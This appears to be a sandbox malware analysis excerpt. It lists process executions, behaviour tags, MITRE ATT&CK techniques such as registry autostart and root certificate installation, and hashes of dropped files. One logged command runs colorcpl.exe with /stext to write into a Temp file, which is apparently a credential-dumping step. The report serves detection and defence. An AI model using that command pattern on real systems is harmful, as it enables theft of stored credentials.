C:\Windows\SysWOW64\colorcpl.exeC:\Windows\SysWOW64\colorcpl.exe /stext "C:\Users\Admin\AppData\Local\Temp\fvvjaiuuweyydqtyasxealglhxgxll"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2016
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C:\Windows\system32\SystemSettingsAdminFlows.exe"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper1⤵PID:1608
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
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Filesize
146B
MD5fefed6bb267bfb886b431509d94ca40f
SHA14992dff89e3b932977b39dfefded9c9a5f68d924
SHA2569836e14ee36b3ec73e310d280e940d9243ef510c9ab2127143a76627a0697974
SHA51289497b0dca11ea1a9da7dbf4d52d23dd118fd1f3526de5bf0b6e38cc42eb8faafc5df8ac5b5ae52a57f13fb35f729814f8d15a8c168b1bf756511fce302dd366
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Filesize
1KB
MD554147a112fd4c4fffbdeb2eeab926f59
SHA17f4ae3d3dd6202e47bc02438a947065c7ed115a9
SHA256b040ccd004e2e55f8ad1b022388bbcc72eefd37f122ec2c5ef1601ecabd7dc46
SHA51220c214b5efb1c70df2704fb487d9ba4fddbc87e1e295d9b7320ce1617f532dc0fd814a016f91ae161ba506a20dcbcea337c6bbec74edb71824035334608b2488
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD5bb67cb4a1d558663b754221fc46df47d
SHA125c46e3fc8d2d615f37caf361bbe31a15808aaae
SHA25699581e3fb78083e7edb6995aacc8c63d2c8e8814271fc3042cee08ee5858bef9
SHA5127607a7963b0263d11eab96ea762d779d0ccb2173df2d57a14b02979b27118fb04d719723e9397103f1c3cdba14629c2179756a1f4c98ad75e1a0ea197e911d93
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Filesize
66KB
MD5c116d3604ceafe7057d77ff27552c215
SHA1452b14432fb5758b46f2897aeccd89f7c82a727d
SHA2567bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA5129202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
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Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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Filesize
75KB
MD5227f63e1d9008b36bdbcc4b397780be4
SHA1c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
SHA512101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
48KB
MD585018be1fd913656bc9ff541f017eacd
SHA126d7407931b713e0f0fa8b872feecdb3cf49065a
SHA256c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5
SHA5123e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459